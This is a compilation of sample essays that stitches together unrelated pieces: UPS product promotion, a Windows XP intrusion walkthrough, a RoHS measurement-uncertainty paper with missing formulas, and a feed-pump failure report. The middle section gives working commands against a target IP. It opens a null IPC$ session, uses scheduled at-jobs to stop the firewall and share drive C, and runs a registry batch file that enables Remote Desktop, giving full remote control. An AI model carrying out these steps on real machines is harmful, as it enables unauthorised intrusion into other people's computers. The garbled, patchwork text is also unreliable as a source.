在傳統(tǒng)UPS產(chǎn)品中，一直存在著單臺(tái)UPS容易出現(xiàn)單點(diǎn)故障的問(wèn)題，為保障供電穩(wěn)定，用戶唯一的安全保障措施是采用“1 + 1”或“N + 1”的安全防范格局，該措施不僅造成較大的經(jīng)濟(jì)浪費(fèi)，而且容錯(cuò)率低。理論上每臺(tái)單機(jī)UPS最大帶載量小于50%，實(shí)際使用中，通常每臺(tái)單機(jī)帶載僅為20%～30%，導(dǎo)致實(shí)際使用效率很低，造成不必要的能源浪費(fèi)。先控休眠技術(shù)借鑒了汽車(chē)發(fā)動(dòng)機(jī)的“可變汽缸管理技術(shù)”，是根據(jù)UPS電源實(shí)際帶載量，使每一模塊能自動(dòng)配載，其余模塊進(jìn)入在線待機(jī)“休眠”狀態(tài)。只有當(dāng)過(guò)載或帶載模塊故障時(shí)，系統(tǒng)自動(dòng)“喚醒”相應(yīng)“休眠”模塊，確保實(shí)際整機(jī)工作效率始終保持≥95%，最終實(shí)現(xiàn)負(fù)載容量與整機(jī)實(shí)際效率的完美結(jié)合。

先控內(nèi)置分配電系統(tǒng)，減少了傳統(tǒng)上外接輸出分配電裝置。在UPS 輸出的一級(jí)中，每增加一個(gè)分電屏其內(nèi)耗將會(huì)增加500mV，同時(shí)多了一級(jí)故障點(diǎn)。傳統(tǒng)塔式UPS采用的是集中多級(jí)分電方式，將會(huì)產(chǎn)生1%～2%的能耗。而模塊化UPS采用的是相對(duì)集中供電，在確保供電可靠性的前提下，可有效避免線間的損耗，從而進(jìn)一步提高節(jié)能效果。所以它是一個(gè)真正意義上的綠色模塊電源，既有效提升了系統(tǒng)的穩(wěn)定性和可靠性，又方便用戶的系統(tǒng)升級(jí)，同時(shí)降低了擴(kuò)容成本。

專家評(píng)選

電信業(yè)一直以來(lái)都是UPS市場(chǎng)上最大的應(yīng)用行業(yè)之一，伴隨著通信網(wǎng)絡(luò)規(guī)模和用戶規(guī)模的不斷擴(kuò)大，通信行業(yè)的電費(fèi)是除網(wǎng)絡(luò)建設(shè)、運(yùn)營(yíng)維護(hù)、市場(chǎng)開(kāi)發(fā)以外的第四大成本支出。通信運(yùn)營(yíng)企業(yè)響應(yīng)國(guó)家節(jié)能減排的號(hào)召，充分意識(shí)到節(jié)能不僅對(duì)環(huán)境保護(hù)、創(chuàng)建可持續(xù)發(fā)展社會(huì)有著積極意義，同時(shí)也是運(yùn)營(yíng)商削減運(yùn)營(yíng)成本的重要途徑。因此各大通信運(yùn)營(yíng)商現(xiàn)在普遍關(guān)注的是UPS的效率、諧波含量及電池充放電等技術(shù)指標(biāo)的實(shí)現(xiàn)。廣西電信互聯(lián)網(wǎng)數(shù)據(jù)中心擁有廣西最大的IDC機(jī)房，直接并入國(guó)家骨干通訊網(wǎng)絡(luò)。因此，網(wǎng)絡(luò)的安全和穩(wěn)定運(yùn)行至關(guān)重要。為此，廣西電信公司專門(mén)成立了IDC擴(kuò)容改造項(xiàng)目的招標(biāo)小組，對(duì)各個(gè)電源廠家提出的解決方案認(rèn)真研究和反復(fù)評(píng)議，經(jīng)過(guò)多輪綜合評(píng)選后，先控模塊化UPS競(jìng)標(biāo)成功。

吸引各評(píng)委的還是先控產(chǎn)品在節(jié)能方面的突出表現(xiàn)。先控CMS150系列模塊化UPS在信息產(chǎn)業(yè)部泰爾檢測(cè)中心測(cè)試的結(jié)果是THDI指標(biāo)為 2.6，而UPS效率更是達(dá)到≥0.999。它的系統(tǒng)結(jié)構(gòu)極具彈性，功率模塊的設(shè)計(jì)概念是在系統(tǒng)運(yùn)行時(shí)可隨意移除和安裝而不影響系統(tǒng)的運(yùn)行及輸出，使投資規(guī)劃實(shí)現(xiàn)“隨需擴(kuò)展”，讓用戶隨業(yè)務(wù)發(fā)展實(shí)現(xiàn)“動(dòng)態(tài)成長(zhǎng)”，既滿足了后期設(shè)備的隨需擴(kuò)展，又降低了初期購(gòu)置成本。

IDC用戶在預(yù)計(jì)UPS容量時(shí)，時(shí)常會(huì)出現(xiàn)低估或高預(yù)計(jì)情況，尤其是在寸土寸金的IDC機(jī)房，模塊化UPS可有效解決盡量減少設(shè)備占地面積、噪音輻射等問(wèn)題，幫助用戶在未來(lái)發(fā)展方向尚不明確的情況下分階段進(jìn)行建設(shè)和投資。當(dāng)用戶負(fù)載需要增加時(shí)，只需根據(jù)規(guī)劃階段性的增加功率模塊即可。更值得電信行業(yè)注意的是UPS還可配接通信和電力行業(yè)現(xiàn)有的48V/110V/220V的電池組，大量節(jié)省用戶對(duì)電池組的投資和維護(hù)。

pc電源范文4

Windows系列的操作系統(tǒng)都提供共享服務(wù)，這些共享服務(wù)的主要通道就是IPC。IPC是Internet ProcessConnection的簡(jiǎn)稱，也稱共享命名管道，它是為了讓進(jìn)程間通信而開(kāi)放的命名管道，可以通過(guò)驗(yàn)證用戶名和密碼獲得相應(yīng)的權(quán)限，在遠(yuǎn)程管理計(jì)算機(jī)和查看計(jì)算機(jī)的共享資源時(shí)使用。這種入侵方式在Windows 2000普及的年代非常流行。

默認(rèn)情況下Windows系列的操作系統(tǒng)都支持空連接，空連接是在沒(méi)有信任的情況下與服務(wù)器建立的會(huì)話，換句話說(shuō)，它是一個(gè)到服務(wù)器的匿名訪問(wèn)。利用ipc$，連接者可以與目標(biāo)主機(jī)建立一個(gè)空的連接而無(wú)需用戶名與密碼(當(dāng)然，對(duì)方機(jī)器必須開(kāi)了ipc$共享，否則你是連接不上的)，而XP系統(tǒng)限制了空連接導(dǎo)出用戶列表的功能，提高了安全性。

默認(rèn)共享是系統(tǒng)安裝完畢后就自動(dòng)開(kāi)啟的共享，也叫管理共享，常被管理員用于遠(yuǎn)程管理計(jì)算機(jī)。在Windows2000/XP及其以上版本中。默認(rèn)開(kāi)啟的共享有“c$”、“d$”、“admin$”、“ipc$”等，我們可以在“運(yùn)行”對(duì)話框中輸入“\\計(jì)算機(jī)名\盤(pán)符$”對(duì)這些資源進(jìn)行訪問(wèn)，以上這些共享就叫做默認(rèn)共享。默認(rèn)共享是只面向管理員組用戶開(kāi)啟的共享，也就是說(shuō)只有管理員組的用戶才能訪問(wèn)這些共享，非管理員組用戶(即使是超級(jí)用戶)不能進(jìn)行訪問(wèn)。如果我們?cè)趯?duì)話框中輸入的不是管理員組用戶而是其他用戶組的賬戶和密碼(如guest組、backup operators組、power users組等)，系統(tǒng)是不會(huì)讓我們?cè)L問(wèn)該共享資源的。另外密碼不能為空，否則也連不上XP的默認(rèn)共享。

通常是無(wú)法利用IPC入侵原版XP的，最主要的原因是XP與2000在來(lái)訪者的權(quán)限設(shè)置上是不同的，在XP中即使有管理員權(quán)限的用戶和密碼也不一定能建立聯(lián)接或復(fù)制文件。

身份驗(yàn)證：XP默認(rèn)是把從網(wǎng)絡(luò)登錄的所有用戶都按來(lái)賓賬戶處理的，因此即使管理員從網(wǎng)絡(luò)登錄也只具有來(lái)賓的權(quán)限，在XP的(secpol.msc)本地安全設(shè)置/本地策略/安全選項(xiàng)中：

網(wǎng)絡(luò)訪問(wèn)：本地帳戶的共享和安全模式，有兩個(gè)選項(xiàng)：

經(jīng)典_本地用戶以自己的身份驗(yàn)證

僅來(lái)賓_本地用戶以來(lái)賓身份驗(yàn)證

當(dāng)番茄花園系統(tǒng)安裝完成后，所有的盤(pán)符默認(rèn)共享自動(dòng)關(guān)閉，遠(yuǎn)程桌面關(guān)閉，Remote Registry服務(wù)關(guān)閉，系統(tǒng)只開(kāi)了IPC$通信命名管道，administrator密碼為空，如果安全選項(xiàng)和空口令設(shè)置和原版相同，則系統(tǒng)也將是安全的，然而問(wèn)題出來(lái)了，點(diǎn)開(kāi)始/運(yùn)行輸入secpol.msc，展開(kāi)本地安全設(shè)置/本地策略/安全選項(xiàng)中的“網(wǎng)絡(luò)訪問(wèn)：本地帳戶的共享和安全模式”，可以發(fā)現(xiàn)被改為“經(jīng)典”。

空口令限制：在XP的注冊(cè)表中有一項(xiàng)limitblank.passworduse，它是用來(lái)限制空口令連接的

[HKEY_LOcAL_MAcHINE\SYSTEM\ControlSet001\Control\LsaJ]

“l(fā)imitblankpassworduse”＝dword:00000001

很明顯看出來(lái)，通過(guò)導(dǎo)人注冊(cè)表來(lái)修改安全設(shè)置。

O:代表空密碼有效。1:代表空密碼無(wú)效。

系統(tǒng)默認(rèn)是1，可以有效防止黑客人侵。

而在番茄花園系統(tǒng)中，點(diǎn)開(kāi)始/運(yùn)行輸入Regedit，展開(kāi)[HKEY_LoCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa]發(fā)現(xiàn)limitblankpassworduse被改為O。這就意味著，黑客利用了XP管理員的弱口令。

入侵番茄花園版XP，需要針對(duì)XP系統(tǒng)的特點(diǎn)，開(kāi)啟和關(guān)閉一些服務(wù)(假設(shè)目標(biāo)IP是192.168.1.5)。

1)net use\\192.168.1.5\IPC$" "/user:"admintitrators"。

看到“命令成功完成”提示，連接成功1

2)net time\\192.168.1.5

查查時(shí)間，發(fā)現(xiàn)192.168.1.5的當(dāng)前時(shí)間是2007/5/6下午5:12，出現(xiàn)“命令成功完成”提示。

3)at\\192.168.1.5 17:14 net stop“Window$Firewall/Internet connection Sharing(ICS)”

用at命令啟動(dòng)net stop關(guān)閉對(duì)方計(jì)算機(jī)中的Windows Firewall/Intemet Connection sharing(ICS)服務(wù)以利于關(guān)閉Windows防火墻。

4)執(zhí)行at\\192.168.1.5檢查任務(wù)是否安排。

5)再次執(zhí)行net time\\192.168.1.5獲得遠(yuǎn)程機(jī)器時(shí)間。

發(fā)現(xiàn)192.168.1.5的當(dāng)前時(shí)間是2007/5/6下午5:29，出現(xiàn)“命令成功完成”提示。

6)執(zhí)行at 17:30\\192.168.1.5 net share diskc＝c:

開(kāi)啟192.168.1.5的C盤(pán)共享。

7)打開(kāi)我的電腦，輸入\\192.168.1.5\diskc，新建一個(gè)文本文件，輸入以下內(nèi)容

echo Windows Registry Editor Version 5.00>>3389.reg

echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Control\Terminal server]>>3389.reg

echo"fDenyTSConnections"＝dword:00000000>>3389.reg

echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcP]>>3389.reg

echo"PortNumber"＝dword:00000d3d>>3389.reg

echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcpl>>3389.reg

echo"PortNumber"＝dword:00000d3d>>3389.reg

regedit/s 3389.reg

del 3389.reg

將文件保存為3389.bat。

8)再次執(zhí)行net time\\192.168.1.5獲得遠(yuǎn)程機(jī)器時(shí)間，發(fā)現(xiàn)192.168.1.5的當(dāng)前時(shí)間是2007/5/6下午6:29，出現(xiàn)“命令成功完成”提示。

9)執(zhí)行at 18:30\\192.168.1.5c:\3389.bat。

10)點(diǎn)“開(kāi)始/所有程序/附件/通訊”，運(yùn)行“遠(yuǎn)程桌面連接”，輸入192.168.1.5即可遠(yuǎn)程操作計(jì)算機(jī)了。

知道漏洞產(chǎn)生的原因后，修補(bǔ)起來(lái)也是相當(dāng)?shù)暮?jiǎn)單，關(guān)鍵是修改注冊(cè)表中的limitblankpassworduse和forceguest的鍵值，將下面的內(nèi)容保存為fix.reg，雙擊fix.reg，提示是否導(dǎo)入注冊(cè)表，點(diǎn)確認(rèn)后即可修補(bǔ)漏洞。

pc電源范文5

關(guān)鍵詞:火焰原子吸收光譜法；電子電氣產(chǎn)品；測(cè)定

Abstract: This paper, by flame atomic absorption spectrometry electric products lead (Pb), of cadmium (Cd), Cr (Cr) content introduces the atomic absorption spectrometry the whole process of the results and uncertainty, the weight of the standard uncertainty, uncertainty calculations.

Keywords: flame atomic absorption spectrometry; electrical and electronic products; determination

中圖分類號(hào)：F416文獻(xiàn)標(biāo)識(shí)碼： A 文章編號(hào)：

1實(shí)驗(yàn)方法

SN/T2004.2-2005電子電氣產(chǎn)品中Pb、Cd和Cr的測(cè)定第2部分:火焰原子吸收光譜法。

1.1建立數(shù)學(xué)模型

RoHS中Pb、Cd和Cr含量的計(jì)算公式為X=(C測(cè)量值-C空白值)×V/M。

式中:X一試樣中Pb、Cd和Cr的含量(mg/kg)；

C測(cè)量值一測(cè)定液中Pb、Cd和Cr的濃度(mg/L)；

C空白值一試劑空白中Pb、Cd和Cr的濃度(mg/L)；

V一試樣消化后定容體積(mL)；

M一測(cè)定用試樣量(g)。

1.2不確定度分析要素

對(duì)RoHS中的Pb、Cd和Cr含量測(cè)試過(guò)程的分析表明,影響其結(jié)果的因素見(jiàn)圖1。

圖1 RoHS中Pb、Cd和Cr含量分析的不確定度影響因子

2結(jié)果

2.1 C測(cè)量值和C空白值的不確定度分析

由兩部分構(gòu)成,其一是由5種標(biāo)準(zhǔn)溶液的濃度-吸收率擬合的直線求得C測(cè)量值所產(chǎn)生的不確定度；其二是由標(biāo)準(zhǔn)儲(chǔ)備液配制成5種標(biāo)準(zhǔn)溶液時(shí)所產(chǎn)生的對(duì)C測(cè)量值帶來(lái)的不確定度。

2.1.1標(biāo)準(zhǔn)曲線不確定度分析

(1)Cd的5種濃度的標(biāo)準(zhǔn)溶液的吸收值,每個(gè)濃度測(cè)定3次,結(jié)果見(jiàn)表1。

表1 不同濃度Cd的吸收率測(cè)量值

由表1中的數(shù)據(jù)進(jìn)行線性擬合得出直線方程:A=B1×C+B0

其中:A為溶液的吸收率；B1=0.41215,B0=0.00004；C為溶液濃度。

對(duì)C測(cè)量值進(jìn)行2次吸收值測(cè)量,由吸收值通過(guò)直線方程求得C測(cè)量值的值為1.021mg/L,則C測(cè)量值的標(biāo)準(zhǔn)不確定度為:

(1)

將上述各值代入(1)式,得出

u(C測(cè)量值)=0.062mg/L；u(C測(cè)量值)/C測(cè)量值=0.0621.021=0.064。

(2)Pb的5種濃度的標(biāo)準(zhǔn)溶液的吸收值,每個(gè)濃度測(cè)定3次,結(jié)果見(jiàn)表2。

表2 不同濃度Pb的吸收率測(cè)量值

由表2中的數(shù)據(jù)進(jìn)行線性擬合得出直線方程:A=B1×C+B0

其中:A為溶液的吸收率；B1=0.02259,B0=0.00001；C為溶液濃度。

對(duì)C測(cè)量值進(jìn)行2次吸收值測(cè)量,由吸收值通過(guò)直線方程求得C測(cè)量值的值為4.71mg/L。

同Cd的標(biāo)準(zhǔn)曲線不確定度分析方法一樣,得到如下結(jié)果:

u(C測(cè)量值)=0.084mg/L；u(C測(cè)量值)/C測(cè)量值=0.0844.71=0.018。

(3)Cr的5種濃度的標(biāo)準(zhǔn)溶液的吸收值,每個(gè)濃度測(cè)定3次,結(jié)果見(jiàn)表3。

表3 不同濃度Cr的吸收率測(cè)量值

由表3中的數(shù)據(jù)進(jìn)行線性擬合得出直線方程:A=B1×C+B0

其中:A為溶液的吸收率；B1=0.08828,B0=0.00003；C為溶液濃度。

對(duì)C測(cè)量值進(jìn)行2次吸收值測(cè)量,由吸收值通過(guò)直線方程求得C測(cè)量值的值為3.042mg/L。

同Cd的標(biāo)準(zhǔn)曲線不確定度分析方法一樣,得到如下結(jié)果:

U(C測(cè)量值)=0.014mg/L；u(C測(cè)量值)/C測(cè)量值=0.0143.042=0.017。

2.1.2標(biāo)準(zhǔn)溶液配置不確定度

1）由Cd標(biāo)準(zhǔn)貯備液配制標(biāo)準(zhǔn)溶液所產(chǎn)生的不確定度

(1)0.5mg/L標(biāo)準(zhǔn)溶液不確定度的大小

將貯備液(1000±2mg/L)按1:10、1:20、1:10分3次稀釋得到0.5mg/L標(biāo)準(zhǔn)溶液,故:C0.5=Cstock/(f10×f20×f10)

其中:C0.5一0.5mg/L的溶液濃度；Cstock一貯備液濃度；

f為稀釋因子,f=Vf/Vi,Vf為稀釋前體積,Vi為稀釋后體積。由于1:10稀釋是采用10mL移液管和100mL容量瓶完成；1:20稀釋是采用5mL移液管和100mL容量瓶完成。因此,f10=V100/V10=10；f20=V100/V5=20。

對(duì)5mL,10mL移液管和100mL容量瓶進(jìn)行不確定度分析。由標(biāo)定﹑刻度充滿及校準(zhǔn)和使用溫度3個(gè)不確定度來(lái)源合成給出V5﹑V10﹑V100的不確定度見(jiàn)表4,并根據(jù)表4可求出稀釋因子的不確定度。

表4 移液管和容量瓶的不確定度

將貯備液濃度的不確定度(2mg/L)轉(zhuǎn)化成標(biāo)準(zhǔn)不確定度,按均勻分布有2/ =1.2mg/L。上述計(jì)算結(jié)果見(jiàn)表5,并根據(jù)表5可求出0.5mg/L標(biāo)準(zhǔn)溶液的不確定度。

表5 貯備液及稀釋因子不確定度

同理,1、1.5、2.0、3.0mg/L標(biāo)準(zhǔn)溶液不確定度的大小分別為0.0032、0.00435、0.0017、0.0008mg/L。

綜上所述,標(biāo)準(zhǔn)配置溶液的不確定度為:

= 0. 0099mg /L。

2）由Pb和Cr標(biāo)準(zhǔn)貯備液配制標(biāo)準(zhǔn)溶液所產(chǎn)生的不確定度

同理,按上述方法,得出有Pb和Cr標(biāo)準(zhǔn)貯備液配制標(biāo)準(zhǔn)溶液的不確定度為0.0318mg/L。

3.1.3 C測(cè)量值和C空白值的不確定度

綜合考慮標(biāo)準(zhǔn)曲線不確定度和標(biāo)準(zhǔn)配置溶液的不確定度,則

對(duì)于Cd,C測(cè)量值的不確定度為:u(C)= =0.063mg/L；

對(duì)于Pb,C測(cè)量值的不確定度為:u(C)==0.089mg/L；

對(duì)于Cr,C測(cè)量值的不確定度為:u(C)=0.034mg/L。

同理,對(duì)于Cd、Pb和Cr,C空白值的不確定度分別為0.000021,0.000009和0.000007mg/L。

2.2 V的不確定度分析

樣品定容的不確定度估計(jì)為0.005V,轉(zhuǎn)化為標(biāo)準(zhǔn)偏差,按三角分布為u1=0.005V/61/2；以V=100mL,則u1=0.203。

實(shí)驗(yàn)室的溫度在±t℃之間變化,所引起的不確定度通過(guò)估算溫度范圍與體積膨脹系數(shù)進(jìn)行計(jì)算。液體的膨脹系數(shù)明顯大于移液管的體積膨脹系數(shù),所以考慮液體的膨脹即可。水的體積膨脹系數(shù)為r=2.1×10-4/℃,其u2=u3(V)=( ±t×r×V)/31/2；以V=100mL, t =2℃,則u2=0.023。

讀數(shù)引起的不確定度,一般估計(jì)為0.01V,按三角分布轉(zhuǎn)化為標(biāo)準(zhǔn)偏差為u3=0.01V/61/2；以V=100mL,則u3=0.406。

器皿校準(zhǔn)的不確定度為±VmL,按三角分布轉(zhuǎn)化為標(biāo)準(zhǔn)偏差為u4=vV/61/2mL。以V=100mL,vV=0.1mL,則u4=0.0406。

因此,V的不確定度為u(V)=[u12+u22+u32+u42]1/2=0.455。

2.3 M的不確定度分析

采用減量法稱量樣品的質(zhì)量,其不確定度主要來(lái)源于天平校準(zhǔn)和稱量中的變動(dòng)性。天平校準(zhǔn)所引入的不確定度包括天平的線性和分辨力兩個(gè)主要方面,由于2次稱量的質(zhì)量值在很窄的范圍內(nèi),所以分辨力的影響可以忽略；根據(jù)天平制造商的建議,天平的線性為±0.15mg,采用矩形分布處理,標(biāo)準(zhǔn)不確定都為:u1(m)=0.15/ =0.087(mg)。

由于減量法涉及2次獨(dú)立的稱量,因此由天平校準(zhǔn)產(chǎn)生的標(biāo)準(zhǔn)不確定度為:uj(m)=2u1(m)=0.12(mg)。在上述天平上,對(duì)2g左右的同一物體稱量20次,得到的標(biāo)準(zhǔn)偏差為0.07mg,它代表了稱量中的變動(dòng)性所導(dǎo)致的標(biāo)準(zhǔn)不確定度。由此得到樣品質(zhì)量m的標(biāo)準(zhǔn)不確定度為:u(m)=0.14mg。

2.4電子電氣產(chǎn)品中Pb、Cd、Cr的含量測(cè)試結(jié)果報(bào)告

2.4.1測(cè)試及計(jì)算結(jié)果

通過(guò)對(duì)影響電子電氣產(chǎn)品中Pb、Cd、Cr測(cè)量結(jié)果的不確定度分量的分析和量化,求出被測(cè)量對(duì)象(Pb、Cd、Cr含量)的標(biāo)準(zhǔn)不確定度和擴(kuò)展不確定度,然后給出各分量對(duì)總測(cè)量不確定度的相對(duì)貢獻(xiàn)。

2.4.2結(jié)果表述

被測(cè)量的合成標(biāo)準(zhǔn)不確定度的公式為:

對(duì)于Pb、Cd、和Cr,其結(jié)果分別為4.57,1.26和1.84mg/kg。取包含因子k=2,計(jì)算擴(kuò)展不確定度,對(duì)于Pb、Cd和Cr,其結(jié)果分別為9.14,2.52和3.68mg/kg。則電子電氣產(chǎn)品中Pb、Cd和Cr的含量分別為235.5±9.1,20.42±2.52和152.1±3.7mg/kg,k=2。

參考文獻(xiàn)

[1] 孫屏 龐芳芹.原子吸收分光光度法測(cè)定番茄醬中銅含量不確定度的評(píng)定[J].現(xiàn)代測(cè)量與實(shí)驗(yàn)室管理,2005.05

pc電源范文6

關(guān)鍵詞：給水泵；抱住；修復(fù)；防范措施

DOI：10.16640/ki.37-1222/t.2017.04.108

0 前言

華電集團(tuán)山東萊城電廠（機(jī)組容量：4×300MW）#3機(jī)電動(dòng)給水泵為備用給水泵，型號(hào)為CHTC4/6sp，為原沈陽(yáng)水泵廠引進(jìn)德國(guó)KSB技術(shù)制造的多級(jí)高壓給水泵，投產(chǎn)日期2002年，2015年12月21日定期升速試驗(yàn)時(shí)，轉(zhuǎn)子抱住不動(dòng)。

1 事件經(jīng)過(guò)

2015年12月21日10：43，運(yùn)行人員做#3機(jī)電泵升速試驗(yàn)，就地檢查無(wú)異常，電泵上下殼溫差最大為15℃，充分放氣后啟電泵，10：46 檢查電前泵轉(zhuǎn)而電泵不轉(zhuǎn)，立即停運(yùn)。解開(kāi)對(duì)輪后，手動(dòng)盤(pán)車(chē)不動(dòng)。就地檢查電泵地腳螺栓及頂絲等無(wú)異常，對(duì)液力偶合器進(jìn)行勺管開(kāi)度調(diào)速試驗(yàn)正常，檢查電前泵及電泵入口濾網(wǎng)無(wú)堵塞、無(wú)破損等。解體時(shí)發(fā)現(xiàn)芯包末級(jí)葉輪拆卸難度較大，芯包部分返沈陽(yáng)某水泵廠進(jìn)行解體。

（1）以往檢修情況：2012年9月曾進(jìn)行了#3機(jī)電泵唯一的一次設(shè)備解體大修，由于7級(jí)葉輪均為熱裝在泵軸上，各級(jí)中段間為止口配合，現(xiàn)場(chǎng)也無(wú)芯包專用檢修平臺(tái)及專用檢修工具，現(xiàn)場(chǎng)解體及復(fù)裝時(shí)，施工難度就相當(dāng)大，轉(zhuǎn)子復(fù)裝后也沒(méi)有進(jìn)行高速動(dòng)平衡試驗(yàn)，無(wú)法保證復(fù)裝后的轉(zhuǎn)子能達(dá)到動(dòng)平衡試驗(yàn)標(biāo)準(zhǔn)。大修后，曾因驅(qū)動(dòng)端軸承振動(dòng)大，2013年5月30日及2014年2月11日，兩次進(jìn)行對(duì)輪中心復(fù)查、調(diào)整。

（2）以往運(yùn)行情況：2012年9月大修后至今日，除了每月定期3100rpm升速試驗(yàn)運(yùn)行外，還有14次運(yùn)行時(shí)間段（共計(jì)99小時(shí)4分鐘），其中2015年11月27日22：07―11月28日17：50，B汽泵非驅(qū)動(dòng)端機(jī)械密封更換時(shí)，電泵運(yùn)行（19小時(shí)43分鐘）。期間運(yùn)行轉(zhuǎn)速為3800―4740rpm，泵體振動(dòng)較大，放空氣后逐漸消失。

（3）其他情況：對(duì)2015年#3、4機(jī)電泵（同型號(hào)給水泵）最近5次定期升速試驗(yàn)時(shí)惰走時(shí)間統(tǒng)計(jì)，#3電泵惰走時(shí)間（平均123秒）明顯小于#4電泵（平均249秒），說(shuō)明#3電泵在惰走期間，動(dòng)靜之間有輕微摩擦的可能。

2 解體檢查情況

（1）推力瓦正推瓦塊有磨損。（2）泵軸彎曲，中部的4、5級(jí)葉輪處最大跳動(dòng)值0.16mm，遠(yuǎn)大于標(biāo)準(zhǔn)值0.03mm，第1-7級(jí)及平衡盤(pán)處跳動(dòng)值在0.12―0.16mm。（3）葉輪口環(huán)、輪轂及外徑均有不同程度的磨損，其中第4、5、6級(jí)磨損嚴(yán)重，口環(huán)、輪轂及外徑磨損可測(cè)量磨損量約1-1.5mm。（4）第一級(jí)導(dǎo)葉葉片全部磨損，與中段接觸部分磨損量約0.5-1mm。（5）導(dǎo)葉襯套及密封環(huán)內(nèi)徑全部輕微磨損。（6）吸入段與第二級(jí)中段配合的密封面沖刷嚴(yán)重，已失效；第二級(jí)中段有4道貫通性舊裂紋，長(zhǎng)度約為40―100mm，與第一級(jí)導(dǎo)葉相接觸的密封面被導(dǎo)葉片碰磨，碰摩深度約0.5-1mm；第三級(jí)中段與第二級(jí)中段接觸的密封面損壞；第五級(jí)中段與第六級(jí)中段接觸的密封面損壞；第六級(jí)中段定心止口損壞2處。

3 原因分析

電泵在2012年9月大修后，由于現(xiàn)場(chǎng)檢修條件較差，修后轉(zhuǎn)子動(dòng)平衡達(dá)不到質(zhì)量標(biāo)準(zhǔn)；泵軸為撓性轉(zhuǎn)子，經(jīng)過(guò)一段時(shí)間運(yùn)行，導(dǎo)致泵軸由彈性變形逐漸演變成塑性變形，轉(zhuǎn)子彎曲越來(lái)越大；轉(zhuǎn)子彎曲時(shí)，由于轉(zhuǎn)子動(dòng)靜徑向間隙很小，最大為0.50-0.60mm，運(yùn)行時(shí)導(dǎo)致動(dòng)靜部分摩擦，葉輪口環(huán)、輪轂及外徑磨損，軸承室及泵體均振動(dòng)大；轉(zhuǎn)速越高，離心力作用越大，轉(zhuǎn)子中間位置偏心越大，動(dòng)靜部分摩擦越嚴(yán)重，導(dǎo)致第4、5、6級(jí)葉輪部分摩擦較為嚴(yán)重，平衡盤(pán)徑向也出現(xiàn)磨損。中段部分在動(dòng)靜部分的摩擦所產(chǎn)生的強(qiáng)烈振動(dòng)下，必然導(dǎo)致了摩擦、損壞。

2015年11月27-28日電泵運(yùn)行時(shí)，泵體振動(dòng)較大，除了動(dòng)靜部分摩擦所致外，泵體內(nèi)積存空氣也是原因之一；當(dāng)泵體內(nèi)無(wú)暖泵水或流量不足時(shí)，易導(dǎo)致泵體內(nèi)積存空氣。

2015年12月21日電泵升速試驗(yàn)時(shí)，由于泵軸已經(jīng)彎曲較大且動(dòng)靜部分包括平衡盤(pán)已經(jīng)磨損，在啟動(dòng)期間，轉(zhuǎn)子前后軸向力無(wú)法形成平衡，朝向吸入端方向的軸向力瞬間增加，致推力瓦塊磨損；轉(zhuǎn)子彎曲過(guò)大導(dǎo)致動(dòng)靜部分抱死。

4 返廠處理措施

（1）泵軸 泵軸彎曲0.16mm，進(jìn)行熱處理直軸修復(fù)。（2）葉輪 清理全部葉輪流道、內(nèi)孔、拋光；利用專用工裝將輪轂和口環(huán)磨削到設(shè)計(jì)的修復(fù)尺寸，以保證配合間隙和對(duì)中心線的跳動(dòng)。（3）導(dǎo)葉 分別按照導(dǎo)葉的內(nèi)孔尺寸配制導(dǎo)義襯套，鑲裝并固定處理后，再車(chē)制內(nèi)孔達(dá)到設(shè)計(jì)的修復(fù)尺寸，以保證配合間隙；第一級(jí)導(dǎo)葉葉片全部損壞，不能修復(fù)，更換新導(dǎo)葉。（4） 吸入段 吸入段與第二級(jí)中段的配合密封面“B”全部被破壞，將“B”面車(chē)削成平面，將要更換的第二級(jí)中段的相應(yīng)部位加長(zhǎng)以保證軸向安裝尺寸不變；軸向定位的“A”平面，做修刮毛刺處理，以保證前后泵蓋處的纏繞墊的壓緊力不變。（5）中段 重新配制全部中段密封環(huán)；更換第二級(jí)中段，與吸入段的結(jié)合部按照吸入段修后的尺寸配制；第三極中段密封面進(jìn)行焊補(bǔ)處理，然后再進(jìn)行熱處理，最后加工到符合圖紙要求，第五、六級(jí)中段更換新件。

5 防范措施

（1）芯包解體大修時(shí)應(yīng)外委由專業(yè)水泵廠家完成，以提高檢修質(zhì)量標(biāo)準(zhǔn)，修后必須做動(dòng)平衡試驗(yàn)并合格。

（2）電泵備用期間，運(yùn)行人員要定期監(jiān)測(cè)泵體上下溫差，當(dāng)超過(guò)20℃時(shí)，要及時(shí)通知檢修人員進(jìn)行處理，設(shè)備啟動(dòng)前，應(yīng)對(duì)泵體及入口管道充分放空氣。

（3）定期對(duì)電泵暖泵截止門(mén)及逆止門(mén)進(jìn)行解體檢查，避免因閥芯脫落等原因?qū)е屡盟髁坎蛔悖瑐溆闷陂g應(yīng)保證暖泵系統(tǒng)閥門(mén)處于全開(kāi)狀態(tài)。

（4）檢修人員應(yīng)定期對(duì)電泵保溫材料進(jìn)行檢查，無(wú)缺失、厚薄不均勻等影響泵體保溫效果的現(xiàn)象。

6 結(jié)束語(yǔ)

按照處理方案及防范措施執(zhí)行后，運(yùn)行一年多來(lái)，設(shè)備一直保持良好的運(yùn)行狀態(tài)，為機(jī)組的安全生產(chǎn)打下了良好的基礎(chǔ)。

參考文獻(xiàn)：

[1]郭立君.泵與風(fēng)機(jī)[M].重慶大學(xué).